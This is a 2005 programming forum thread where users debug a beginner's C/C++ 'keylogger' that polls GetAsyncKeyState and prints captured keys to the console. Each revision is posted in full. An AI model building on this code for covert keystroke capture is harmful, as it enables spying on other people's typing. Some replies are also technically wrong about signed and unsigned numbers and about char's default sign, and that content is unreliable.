Posted August 13, 200519 yr //========================================== // My first attempt at a keylogger //========================================== #include <windows.h> #include <stdio.h> #include <iostream> unsigned int nlist[] = { 8,9,12,13,19,20,27,32,33,34,35,36,37,38,39, 40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56, 57,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80, 81,82,83,84,85,86,87,88,89,90,91,93,96,97,98,99,100, 101,102,103,104,105,106,107,108,109,110,111,112,113, 114,115,116,117,118,119,120,121,122,123,124,125,126, 127,128,129,130,131,132,133,134,135,144,145,186,187, 188,189,190,191,192,219,220,221,222,223,224,225,226, 227,228,230,233,234,235,236,237,238,239,240,241,242, 243,244,245,246,247,248,249,250,251,252,253,254,0}; const char Translate( int x ); void main( void ) { int i, x; char Letter; while(1) { for(i = 0; nlist != 0; i++) { if(GetAsyncKeyState(nlist) == -32767) break; } if(nlist == 0) continue; else { for( x = 65; x <= 90; x++ ) { if( i = x ) { Letter = Translate(i); std::cout << Letter << std::endl; } else { std::cout << nlist << std::endl; } } } } } const char Translate( int x ) { const char Alphabet[256] = "abcdefghijklmnopqrstuvwxyz"; int i = x - 65; return Alphabet; } This is the code from the link someone posted on how to make a keylogger. I tried getting it to put out letters, but everytime a key is pressed it just gives me the whole alphabet. Anyone have any solutions?
August 13, 200519 yr yeah i posted the link to that site and if u've copied and pasted it correctly it be like this #include <windows.h> #include <stdio.h> unsigned int nlist[] = { 8,9,12,13,19,20,27,32,33,34,35,36,37,38,39, 40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56, 57,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80, 81,82,83,84,85,86,87,88,89,90,91,93,96,97,98,99,100, 101,102,103,104,105,106,107,108,109,110,111,112,113, 114,115,116,117,118,119,120,121,122,123,124,125,126, 127,128,129,130,131,132,133,134,135,144,145,186,187, 188,189,190,191,192,219,220,221,222,223,224,225,226, 227,228,230,233,234,235,236,237,238,239,240,241,242, 243,244,245,246,247,248,249,250,251,252,253,254,0}; void main(void) { int i; while(1) { for(i = 0;nlist[i] != 0;i++) { if(GetAsyncKeyState(nlist[i]) == -32767) break; } if(nlist[i] == 0) continue; else printf("%d ",nlist[i]); } } [EDIT] also in this program that i didnt realize before, when u press a key like A, it prints out its corresponding ASCII code which is 65. if u want it to print the letter, change the printf("%d", nlist); to printf("%c", char(nlist));
August 14, 200519 yr Author dark_urza said: yeah i posted the link to that site and if u've copied and pasted it correctly it be like this #include <windows.h> #include <stdio.h> unsigned int nlist[] = { 8,9,12,13,19,20,27,32,33,34,35,36,37,38,39, 40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56, 57,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80, 81,82,83,84,85,86,87,88,89,90,91,93,96,97,98,99,100, 101,102,103,104,105,106,107,108,109,110,111,112,113, 114,115,116,117,118,119,120,121,122,123,124,125,126, 127,128,129,130,131,132,133,134,135,144,145,186,187, 188,189,190,191,192,219,220,221,222,223,224,225,226, 227,228,230,233,234,235,236,237,238,239,240,241,242, 243,244,245,246,247,248,249,250,251,252,253,254,0}; void main(void) { int i; while(1) { for(i = 0;nlist[i] != 0;i++) { if(GetAsyncKeyState(nlist[i]) == -32767) break; } if(nlist[i] == 0) continue; else printf("%d ",nlist[i]); } } [EDIT] also in this program that i didnt realize before, when u press a key like A, it prints out its corresponding ASCII code which is 65. if u want it to print the letter, change the printf("%d", nlist); to printf("%c", char(nlist)); Well, I translated that to C++ and it only prints out 65 now for a. Take a look at my code again and I thjink you will see the translation attempt. I failed.
August 14, 200519 yr First off, you're assigning x to i in the last if statement, this will always evaluate to true, and so you're just outputing the 'a' through 'z'. You should be using a '==' instead of an '=', so it reads "if (i == x)". The other thing wrong with this if statement is that you're comparing i, which is the array index, to x, and not comparing nlist (the captured key) to x. Same goes when you pass to the Translate() function. Next problem is that if the if statement fails, your just outputting the value currently in nlist to the screen, which doesn't increment until the containing for loop ends. Here's what happens when you type A and press enter. for( x = 65; x <= 90; x++ ) { if( nlist[i] == x ) // loop 1: 65 == 65 (true); loop 2: 65 == 66(false) { Letter = Translate(nlist[i]); // loop 1: pass 65 to Translate; returns 'a' std::cout << Letter << std::endl; // outputs 'a' } else // loop 2 { // loop 2: outputs 65, 'i' doesn't get incremented, continutes to output 65 until loop exits std::cout << nlist[i] << std::endl; } } As you can see, you'll need to move the else to outside the for loop. In reality, the best thing to do if you still want to use your Translate function is to do something like: // Replace the above for loop with this: if (nlist[i] >= 'A' || nlist[i] <= 'Z') // <cctype> has a isalpha() function that is more portable { Letter = Translate(nlist[i]); std::cout << Letter << std::endl; } else { std::cout << nlist[i] << std::endl; } Now what I would do is is just replace the above with a simple cast instead of bothering with translating specific characters: std::cout << static_cast<char>(nlist[i]) << std::endl; Hopefully this all makes sense.
August 14, 200519 yr Author Thanks much. That got it working, besides that now it doesn't show anyhting besides the alphabet and some funny characters.
August 14, 200519 yr Author //========================================== // My first attempt at a keylogger //========================================== #include <windows.h> #include <stdio.h> #include <iostream> #include <cctype> unsigned int nlist[] = { 8,9,12,13,19,20,27,32,33,34,35,36,37,38,39, 40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56, 57,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80, 81,82,83,84,85,86,87,88,89,90,91,93,96,97,98,99,100, 101,102,103,104,105,106,107,108,109,110,111,112,113, 114,115,116,117,118,119,120,121,122,123,124,125,126, 127,128,129,130,131,132,133,134,135,144,145,186,187, 188,189,190,191,192,219,220,221,222,223,224,225,226, 227,228,230,233,234,235,236,237,238,239,240,241,242, 243,244,245,246,247,248,249,250,251,252,253,254,0}; unsigned char Translate( int x ); void main( void ) { int i, x; unsigned char Letter; while(1) { for(i = 0; nlist != 0; i++) { if(GetAsyncKeyState(nlist) == -32767) break; } if(nlist == 0) continue; else { for( x = 65; x <= 90; x++ ) { if( nlist == x ) { Letter = Translate(nlist); std::cout << Letter << std::endl; goto Skip; } } std::cout << nlist << std::endl; } Skip: continue; } } unsigned char Translate( int x ) { unsigned char Alphabet[256] = "abcdefghijklmnopqrstuvwxyz"; int i = x - 65; return Alphabet; } This code works. All the letters are taken care of, now. Time to start on numbers and 'space' .
August 15, 200519 yr Author ViperX said: By the way, there's no real idea of using 'unsigned' chars. Thanks. It just used them in the tutorial, so I figured I'd do it, too. WTF is unsigned for, anyways?
August 15, 200519 yr Why are you still iterating over the alphabet? All the loop is doing is determining whether nlist is between 'A' and 'Z'. Unless you're going to treat some of the letters differently you're just adding overhead. Also use the letters instead of the code, its much more readable. Better yet, use the isalpha() or isalnum() functions, it is much more portable. In either case, their basically just doing a simple if condition like: // isalpha/isalnum checks for lower case letters too ('a'-'z') if (nlist[i] >= 'A' && nlist[i] <= 'Z' || nlist[i] >= '0' && nlist[i] <= '9') With a few exceptions, this does the same thing as your's does: // headers, nlist definition int main(int argc, char *argv[]) { int i; for(;;) { for(i = 0; nlist[i] != 0; i++) { if(::GetAsyncKeyState(nlist[i]) == -32767) break; } if(nlist[i] == 0) { continue; } else { if ( isalnum( nlist[i] )) // if letter or number { char letter = tolower(nlist[i]); // converts to a lowercase char std::cout << letter << std::endl; // output to screen } else { std::cout << nlist[i] << std::endl; // otherwise, output code to screen } } } }
August 15, 200519 yr Nim said: Thanks. It just used them in the tutorial, so I figured I'd do it, too. WTF is unsigned for, anyways? unsigned is uaually for numbers. The last binary digit controls weither or not it's negative.. 0=positive, 1=negative. When you assign something as unsigned, the number gains some extra room as well as never becoming negative. 4 bit number 8 in binary. 0100 -8 in binary. 1011 <- the binary "coding" gets reversed 4 bit unsigned number 16. 1000
August 16, 200519 yr Yes, that's why it's called 'signed' and 'unsigned'. Since a whole bit is used to show if it's negative or not, the size available for numbers will be one bit less, which is quite a lot. For example, an 'unsigned short' can store between 0 and 2^16 (65536) because a short is 16 bits. A 'signed short' tho, can store between -(2^16/2) and 2^16/2. There ARE actually uses for 'signed char', but in this case there is no need for them. Char's default to unsigned, and they are one byte (8 bits) in size, which gives them a max value of 255 (unsigned).